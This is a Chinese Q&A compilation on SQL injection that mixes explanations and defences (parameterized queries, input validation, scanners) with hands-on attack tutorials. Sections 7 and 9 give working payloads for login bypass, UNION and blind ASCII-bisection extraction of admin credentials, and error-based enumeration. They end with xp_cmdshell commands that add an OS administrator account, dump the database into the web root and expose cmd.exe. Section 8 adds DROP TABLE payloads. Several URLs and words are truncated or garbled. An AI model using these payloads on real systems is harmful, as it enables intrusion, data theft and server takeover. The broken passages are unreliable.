1. 什麼是sql注入,怎麼防止注入
sql注入其實就是在這些不安全控制項內輸入sql或其他資料庫的一些語句,從而達到欺騙伺服器執行惡意到嗎影響到資料庫的數據。防止sql注入,可以在接受不安全空間的內容時過濾掉接受字元串內的「'」,那麼他不再是一條sql語句,而是一個類似sql語句的zifuc,執行後也不會對資料庫有破壞。 如:-----下面這一段是找的 username = request("username") //獲取用戶名 這里是通過URL傳值獲取的 password = request("password") //獲取密碼 也是通過URL傳值獲取的 sql="select * from userlist where username = '" & username & "' and password = '" & password & "'"--------如果某個人知道某個用戶名是admin,常常有人網站的管理員用戶名就是admin,這是密碼可以選用'or 1 or ', 那麼sql="select * from userlist where username = 'admin' and password = '' or 1 or ''",顯然1是恆真的,那麼驗證密碼就通過了。補充: 防止的方式比較多,比如可以限制username,password中出現"'"這些字元,一般網站都是只允許數字,字元,下劃線的組合,這可以通過javascript驗證。也可以採取用存儲過程代替sql拼接,等等。
2. SQL注入的特點與危害分別有哪些
1、廣泛性:任何一個基於SQL語言的資料庫都可能被攻擊,很多開發人員在編寫Web應用程序時未對從輸入參數、Web表單、Cookie等接收到的值進行規范性驗證和檢測,通常會出現SQL注入漏洞。
2、隱蔽性:SQL注入語句一般都嵌入在普通的HTPP請求中,很難與正常語句區分開,所以當前許多防火牆都無法識別予以警告,而且SQL注入變種極多,攻擊者可以調整攻擊的參數,所以使用傳統的方法防禦SQL注入效果非常不理想。
3、危害大:攻擊者可以通過SQL注入獲取到伺服器的庫名、表名、欄位名,從而獲取到整個伺服器中的數據,對網站用戶的數據安全有極大的威脅。攻擊者也可以通過獲取到的數據,得到後台管理員的密碼,然後對網頁頁面進行惡意篡改。這樣不僅對資料庫信息安全造成嚴重威脅,對整個資料庫系統安全也有很大的影響。
4、操作方便:互聯網上有很多SQL注入工具,簡單易學、攻擊過程簡單,不需要專業的知識也可以自如運用。
3. sql注入問題
通過程序代碼拼接的sql是動態構造的,由一個不變的基查詢字元串和一個用戶輸入字元串連接而成。例如一個攻擊者在前端文本框中輸入字元串「name' OR 'a'='a」,那麼構造的查詢就會變成:SELECT * FROM XXX WHERE _file = 'name' OR 'a'='a';
可以見得附加條件 OR 'a'='a' 會使 where 從句永遠評估為 true,因此該查詢在邏輯上將等同於一個更為簡化的查詢:SELECT * FROM items;
你說的1、2、3步驟總結到最後就是輸入上述的那種字元串
4. sql注入的場景有哪些,危害又有哪些
建議你這樣試試看:
- 當使用簡單SQL語句時容易出現注入式攻擊
- 容易被篡改數據和數據泄露
5. 簡單分析什麼是SQL注入漏洞
SQL是操作資料庫數據的結構化查詢語言,網頁的應用數據和後台資料庫中的數據進行交互時會採用SQL。
SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令。它是利用現有應用程序,將惡意的SQL命令注入到後台資料庫引擎執行的能力,它可以通過在Web表單中輸入SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。
6. 一個新手,用wamp搭建sql注入環境結果出現這種問題,求大佬告訴我怎麼做
mysql_connect()函數在PHP5.0開始就不推薦使用了,甚至在PHP7.0時候已經廢除了該函數
替代函數是
mysqli_connect();
7. 資料庫操作中哪種情況會出現SQL注入
所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令
什麼時候最易受到sql注入攻擊
當應用程序使用輸入內容來構造動態sql語句以訪問資料庫時,會發生sql注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的用戶輸入的字元串來傳遞,也會發生sql注入。sql注入可能導致攻擊者使用應用程序登陸在資料庫中執行命令。相關的SQL注入可以通過測試工具pangolin進行。如果應用程序使用特權過高的帳戶連接到資料庫,這種問題會變得很嚴重。在某些表單中,用戶輸入的內容直接用來構造動態sql命令,或者作為存儲過程的輸入參數,這些表單特別容易受到sql注入的攻擊。而許多網站程序在編寫時,沒有對用戶輸入的合法性進行判斷或者程序中本身的變數處理不當,使應用程序存在安全隱患。這樣,用戶就可以提交一段資料庫查詢的代碼,根據程序返回的結果,獲得一些敏感的信息或者控制整個伺服器,於是sql注入就發生了。
SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據,是高手與「菜鳥」的根本區別。
注入大致方法
方法1
先猜表名 And (Select count(*) from 表名)<>0 猜列名 And (Select count(列名) from 表名)<>0 或者也可以這樣 and exists (select * from 表名) and exists (select 列名 from 表名) 返回正確的,那麼寫的表名或列名就是正確 這里要注意的是,exists這個不能應用於猜內容上,例如and exists (select len(user) from admin)>3 這樣是不行的 現在很多人都是喜歡查詢裡面的內容,一旦iis沒有關閉錯誤提示的,那麼就可以利用報錯方法輕松獲得庫裡面的內容 獲得資料庫連接用戶名:;and user>0 這個是小竹提出來的,我這里引用《SQL注入天書》裡面的一段話來講解:
"重點在and user>0,我們知道,user是SQLServer的一個內置變數,它的值是當前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar轉換int異常,XXXX不能轉換成int" 看到這里大家明白了吧,報錯的原理就是利用SQLserver內置的系統表進行轉換查詢,轉換過程會出錯,然後就會顯示出在網頁上,另外還有類似的and 1=(selet top 1 user from admin),這種語句也是可以爆出來的。;and db_name()>0 則是暴資料庫名。 一旦關閉了IIS報錯,那麼還可以用union(聯合查詢)來查內容,主要語句就是 Order by 10 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin 上面的order by 10主要就是查欄位數目,admin就是表名,可以自己猜,user,passwd是列名 反正就是返回正確即對,返回異常即錯 另外還有十分常用的ascll碼拆半法 先要知道指定列名,例如user里的內容的長度 and (select len(user) from admin)=2 就是查詢長度為不為2位,返回錯誤的增加或減少數字,一般這個數字不會太大,太大的就要放棄了,猜也多餘 後面的邏輯符號可以根據不同要求更改的, >;大於 <;小於 =就是等於咯,更新語句的話,=也可以表示傳遞符號 <>;就是不等 知道了長度後就可以開始猜解了 And (Select top 1 asc(mid(user,n,1)) from admin)>100 n就是猜解的表名的第幾位,最後的長度數字就是剛才猜解出來的列名長度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里內容的第一位的ASCLL字元是不是大於100 正確的話,那麼表示USER第一個字元的ASCLL碼大於100,那麼就猜>120,返回錯誤就是介於100-120之間,然後再一步一步的縮少,最終得到正確字元XXX,然後用ASCLL轉換器吧這個轉換成普通字元就可以了 然後就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去 加在url後面,列名表名還是先猜解,返回正確的代表帳號的ascll碼大於100,那麼就再向前猜,指導報錯,把猜出來的ascll碼拿去ascll轉換器轉換就可以了,中文是負數,加上asb取絕對值 And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320 得到之後就記得在數字前加-號,不然ASCLL轉換器轉換不來的,中文在ASCLL碼里是-23423這樣的,所以猜起來挺麻煩 這個猜解速度比較慢,但是效果最好,最具有廣泛性
方法2
後台身份驗證繞過漏洞 驗證繞過漏洞就是'or'='or'後台繞過漏洞,利用的就是AND和OR的運算規則,從而造成後台腳本邏輯性錯誤 例如管理員的賬號密碼都是admin,那麼再比如後台的資料庫查詢語句是 user=request("user") passwd=request("passwd") sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&''' 那麼我使用'or 'a'='a來做用戶名密碼的話,那麼查詢就變成了 select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a' 這樣的話,根據運算規則,這里一共有4個查詢語句,那麼查詢結果就是 假or真and假or真,先算and 再算or,最終結果為真,這樣就可以進到後台了 這種漏洞存在必須要有2個條件,第一個:在後台驗證代碼上,賬號密碼的查詢是要同一條查詢語句,也就是類似 sql="select * from admin where username='"&username&'&"passwd='"&passwd&' 如果一旦賬號密碼是分開查詢的,先查帳號,再查密碼,這樣的話就沒有辦法了。 第二就是要看密碼加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一種條件有沒有可以,沒有達到第一種條件的話,那就沒有戲了
摘自:http://ke..com/view/3896.htm
8. SQL注入攻擊的種類和防範手段有哪些
暈,這不是C#考題嗎。
SQL注入攻擊的種類
知彼知己,方可取勝。首先要清楚SQL注入攻擊有哪些種類。
1.沒有正確過濾轉義字元
在用戶的輸入沒有為轉義字元過濾時,就會發生這種形式的注入式攻擊,它會被傳遞給一個SQL語句。這樣就會導致應用程序的終端用戶對資料庫上的語句實施操縱。比方說,下面的這行代碼就會演示這種漏洞:
statement := "SELECT * FROM users WHERE name = '" + userName + "'; "
這種代碼的設計目的是將一個特定的用戶從其用戶表中取出,但是,如果用戶名被一個惡意的用戶用一種特定的方式偽造,這個語句所執行的操作可能就不僅僅是代碼的作者所期望的那樣了。例如,將用戶名變數(即username)設置為:
a' or 't'='t,此時原始語句發生了變化:
SELECT * FROM users WHERE name = 'a' OR 't'='t';
如果這種代碼被用於一個認證過程,那麼這個例子就能夠強迫選擇一個合法的用戶名,因為賦值't'='t永遠是正確的。
在一些SQL伺服器上,如在SQLServer中,任何一個SQL命令都可以通過這種方法被注入,包括執行多個語句。下面語句中的username的值將會導致刪除「users」表,又可以從「data」表中選擇所有的數據(實際上就是透露了每一個用戶的信息)。
a'; DROP TABLE users; SELECT * FROM data WHERE name LIKE '%
這就將最終的SQL語句變成下面這個樣子:
SELECT * FROM users WHERE name = 'a'; DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%';
其它的SQL執行不會將執行同樣查詢中的多個命令作為一項安全措施。這會防止攻擊者注入完全獨立的查詢,不過卻不會阻止攻擊者修改查詢。
2.Incorrect type handling
如果一個用戶提供的欄位並非一個強類型,或者沒有實施類型強制,就會發生這種形式的攻擊。當在一個SQL語句中使用一個數字欄位時,如果程序員沒有檢查用戶輸入的合法性(是否為數字型)就會發生這種攻擊。例如:
statement := "SELECT * FROM data WHERE id = " + a_variable + "; "
從這個語句可以看出,作者希望a_variable是一個與「id」欄位有關的數字。不過,如果終端用戶選擇一個字元串,就繞過了對轉義字元的需要。例 如,將a_variable設置為:1; DROP TABLE users,它會將「users」表從資料庫中刪除,SQL語句變成:SELECT * FROM DATA WHERE id = 1; DROP TABLE users;
3.資料庫伺服器中的漏洞
有時,資料庫伺服器軟體中也存在著漏洞,如MYSQL伺服器中mysql_real_escape_string()函數漏洞。這種漏洞允許一個攻擊者根據錯誤的統一字元編碼執行一次成功的SQL注入式攻擊。
4.盲目SQL注入式攻擊
當一個Web應用程序易於遭受攻擊而其結果對攻擊者卻不見時,就會發生所謂的盲目SQL注入式攻擊。有漏洞的網頁可能並不會顯示數據,而是根據注入到合法 語句中的邏輯語句的結果顯示不同的內容。這種攻擊相當耗時,因為必須為每一個獲得的位元組而精心構造一個新的語句。但是一旦漏洞的位置和目標信息的位置被確 立以後,一種稱為Absinthe的工具就可以使這種攻擊自動化。
5.條件響應
注意,有一種SQL注入迫使資料庫在一個普通的應用程序屏幕上計算一個邏輯語句的值:
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1
這會導致一個標準的面面,而語句
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2在頁面易於受到SQL注入式攻擊時,它有可能給出一個不同的結果。如此這般的一次注入將會證明盲目的SQL注入是可能的,它會使攻擊者根據另外一個 表中的某欄位內容設計可以評判真偽的語句。
6.條件性差錯
如果WHERE語句為真,這種類型的盲目SQL注入會迫使資料庫評判一個引起錯誤的語句,從而導致一個SQL錯誤。例如:
SELECT 1/0 FROM users WHERE username='Ralph'。顯然,如果用戶Ralph存在的話,被零除將導致錯誤。
7.時間延誤
時間延誤是一種盲目的SQL注入,根據所注入的邏輯,它可以導致SQL引擎執行一個長隊列或者是一個時間延誤語句。攻擊者可以衡量頁面載入的時間,從而決定所注入的語句是否為真。
以上僅是對SQL攻擊的粗略分類。但從技術上講,如今的SQL注入攻擊者們在如何找出有漏洞的網站方面更加聰明,也更加全面了。出現了一些新型的SQL攻 擊手段。黑客們可以使用各種工具來加速漏洞的利用過程。我們不妨看看the Asprox Trojan這種木馬,它主要通過一個發布郵件的僵屍網路來傳播,其整個工作過程可以這樣描述:首先,通過受到控制的主機發送的垃圾郵件將此木馬安裝到電 腦上,然後,受到此木馬感染的電腦會下載一段二進制代碼,在其啟動時,它會使用搜索引擎搜索用微軟的ASP技術建立表單的、有漏洞的網站。搜索的結果就成 為SQL注入攻擊的靶子清單。接著,這個木馬會向這些站點發動SQL注入式攻擊,使有些網站受到控制、破壞。訪問這些受到控制和破壞的網站的用戶將會受到 欺騙,從另外一個站點下載一段惡意的JavaScript代碼。最後,這段代碼將用戶指引到第三個站點,這里有更多的惡意軟體,如竊取口令的木馬。
以前,我們經常警告或建議Web應用程序的程序員們對其代碼進行測試並打補丁,雖然SQL注入漏洞被發現和利用的機率並不太高。但近來攻擊者們越來越多地 發現並惡意地利用這些漏洞。因此,在部署其軟體之前,開發人員應當更加主動地測試其代碼,並在新的漏洞出現後立即對代碼打補丁。
防禦和檢查SQL注入的手段
1.使用參數化的過濾性語句
要防禦SQL注入,用戶的輸入就絕對不能直接被嵌入到SQL語句中。恰恰相反,用戶的輸入必須進行過濾,或者使用參數化的語句。參數化的語句使用參數而不 是將用戶輸入嵌入到語句中。在多數情況中,SQL語句就得以修正。然後,用戶輸入就被限於一個參數。下面是一個使用Java和JDBC API例子:
PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE PASSWORD=?");
prep.setString(1, pwd);
總體上講,有兩種方法可以保證應用程序不易受到SQL注入的攻擊,一是使用代碼復查,二是強迫使用參數化語句的。強迫使用參數化的語句意味著嵌入用戶輸入的SQL語句在運行時將被拒絕。不過,目前支持這種特性的並不多。如H2 資料庫引擎就支持。
2.還要避免使用解釋程序,因為這正是黑客們藉以執行非法命令的手段。
3.防範SQL注入,還要避免出現一些詳細的錯誤消息,因為黑客們可以利用這些消息。要使用一種標準的輸入確認機制來驗證所有的輸入數據的長度、類型、語句、企業規則等。
4.使用專業的漏洞掃描工具。但防禦SQL注入攻擊也是不夠的。攻擊者們目前正在自動搜索攻擊目標並實施攻擊。其技術甚至可以輕易地被應用於其它的Web 架構中的漏洞。企業應當投資於一些專業的漏洞掃描工具,如大名鼎鼎的Acunetix的Web漏洞掃描程序等。一個完善的漏洞掃描程序不同於網路掃描程 序,它專門查找網站上的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。
5.最後一點,企業要在Web應用程序開發過程的所有階段實施代碼的安全檢查。首先,要在部署Web應用之前實施安全測試,這種措施的意義比以前更大、更深遠。企業還應當在部署之後用漏洞掃描工具和站點監視工具對網站進行測試。
Web安全拉警報已經響起,安全形式異常嚴峻,企業絕對不應當草率從事。安全重於泰山!
9. SQL注入是怎麼回事
SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。SQL注入是從正常的WWW埠訪問,而且表面看起來跟一般的Web頁面訪問沒什麼區別,所以目前市面的防火牆都不會對SQL注入發出警報,如果管理員沒查看IIS日誌的習慣,可能被入侵很長時間都不會發覺。但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況,需要構造巧妙的SQL語句,從而成功獲取想要的數據。
SQL注入攻擊的總體思路
·發現SQL注入位置;
·判斷後台資料庫類型;
·確定XP_CMDSHELL可執行情況
·發現WEB虛擬目錄
·上傳ASP木馬;
·得到管理員許可權;
SQL注入攻擊的步驟
一、SQL注入漏洞的判斷
一般來說,SQL注入一般存在於形如:http://xxx.xxx.xxx/abc.asp?id=XX等帶有參數的ASP動態網頁中,有時一個動態網頁中可能只有一個參數,有時可能有N個參數,有時是整型參數,有時是字元串型參數,不能一概而論。總之只要是帶有參數的動態網頁且此網頁訪問了資料庫,那麼就有可能存在SQL注入。如果ASP程序員沒有安全意識,不進行必要的字元過濾,存在SQL注入的可能性就非常大。
為了全面了解動態網頁回答的信息,首選請調整IE的配置。把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。
為了把問題說明清楚,以下以http://xxx.xxx.xxx/abc.asp?p=YY為例進行分析,YY可能是整型,也有可能是字元串。
1、整型參數的判斷
當輸入的參數YY為整型時,通常abc.asp中SQL語句原貌大致如下:
select * from 表名 where 欄位=YY,所以可以用以下步驟測試SQL注入是否存在。
①http://xxx.xxx.xxx/abc.asp?p=YY』(附加一個單引號),此時abc.ASP中的SQL語句變成了
select * from 表名 where 欄位=YY』,abc.asp運行異常;
②http://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp運行正常,而且與http://xxx.xxx.xxx/abc.asp?p=YY運行結果相同;
③http://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp運行異常;
如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
2、字元串型參數的判斷
當輸入的參數YY為字元串時,通常abc.asp中SQL語句原貌大致如下:
select * from 表名 where 欄位='YY',所以可以用以下步驟測試SQL注入是否存在。
①http://xxx.xxx.xxx/abc.asp?p=YY』(附加一個單引號),此時abc.ASP中的SQL語句變成了
select * from 表名 where 欄位=YY』,abc.asp運行異常;
②http://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='1', abc.asp運行正常,而且與http://xxx.xxx.xxx/abc.asp?p=YY運行結果相同;
③http://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='2', abc.asp運行異常;
如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
3、特殊情況的處理
有時ASP程序員會在程序員過濾掉單引號等字元,以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法:由於VBS並不區分大小寫,而程序員在過濾時通常要麼全部過濾大寫字元串,要麼全部過濾小寫字元串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字元集實現國際化,我們完全可以IE中輸入的字元串化成UNICODE字元串進行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見附件一;
③ASCII碼法:可以把輸入的部分或全部字元全部用ASCII碼代替,如U=chr(85),a=chr(97)等,ASCII信息參見附件二;
二、分析資料庫伺服器類型
一般來說,ACCESS與SQL-SERVER是最常用的資料庫伺服器,盡管它們都支持T-SQL標准,但還有不同之處,而且不同的資料庫有不同的攻擊方法,必須要區別對待。
1、 利用資料庫伺服器的系統變數進行區分
SQL-SERVER有user,db_name()等系統變數,利用這些系統值不僅可以判斷SQL-SERVER,而且還可以得到大量有用信息。如:
① http://xxx.xxx.xxx/abc.asp?p=YY and user>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當前連接到資料庫的用戶名
②http://xxx.xxx.xxx/abc.asp?p=YY&;n ... db_name()>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當前正在使用的資料庫名;
2、利用系統表
ACCESS的系統表是msysobjects,且在WEB環境下沒有訪問許可權,而SQL-SERVER的系統表是sysobjects,在WEB環境下有訪問許可權。對於以下兩條語句:
①http://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②http://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若資料庫是SQL-SERVE,則第一條,abc.asp一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。
3、 MSSQL三個關鍵系統表
sysdatabases系統表:Microsoft SQL Server 上的每個資料庫在表中佔一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 資料庫的項。該表只存儲在 master 資料庫中。 這個表保存在master資料庫中,這個表中保存的是什麼信息呢?這個非常重要。他是 保存了所有的庫名,以及庫的ID和一些相關信息。
這里我把對於我們有用的欄位名稱和相關說明給大家列出來。name //表示庫的名字。
dbid //表示庫的ID,dbid從1到5是系統的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫。用select * from master.dbo.sysdatabases 就可以查詢出所有的庫名。
Sysobjects:SQL-SERVER的每個資料庫內都有此系統表,它存放該資料庫內創建的所有對象,如約束、默認值、日誌、規則、存儲過程等,每個對象在表中佔一行。
syscolumns:每個表和視圖中的每列在表中佔一行,存儲過程中的每個參數在表中也佔一行。該表位於每個資料庫中。主要欄位有:
name ,id, colid :分別是欄位名稱,表ID號,欄位ID號,其中的 ID 是 剛上我們用sysobjects得到的表的ID號。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有欄位列表。
三、確定XP_CMDSHELL可執行情況
若當前連接數據的帳號具有SA許可權,且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行,則整個計算機可以通過以下幾種方法完全控制,以後的所有步驟都可以省
1、http://xxx.xxx.xxx/abc.asp?p=YY&;nb ... er>0 abc.asp執行異常但可以得到當前連接資料庫的用戶名(若顯示dbo則代表SA)。
2、http://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp執行異常但可以得到當前連接的資料庫名。
3、http://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell 「net user aaa bbb /add」-- (master是SQL-SERVER的主資料庫;名中的分號表示SQL-SERVER執行完分號前的語句名,繼續執行其後面的語句;「—」號是註解,表示其後面的所有內容僅為注釋,系統並不執行)可以直接增加操作系統帳戶aaa,密碼為bbb。
4、http://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell 「net localgroup administrators aaa /add」-- 把剛剛增加的帳戶aaa加到administrators組中。
5、http://xxx.xxx.xxx/abc.asp?p=YY;backuup database 資料庫名 to disk='c:\inetpub\wwwroot\save.db' 則把得到的數據內容全部備份到WEB目錄下,再用HTTP把此文件下載(當然首選要知道WEB虛擬目錄)。
6、通過復制CMD創建UNICODE漏洞
http://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell 「 c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe」 便製造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當然首選要知道WEB虛擬目錄)。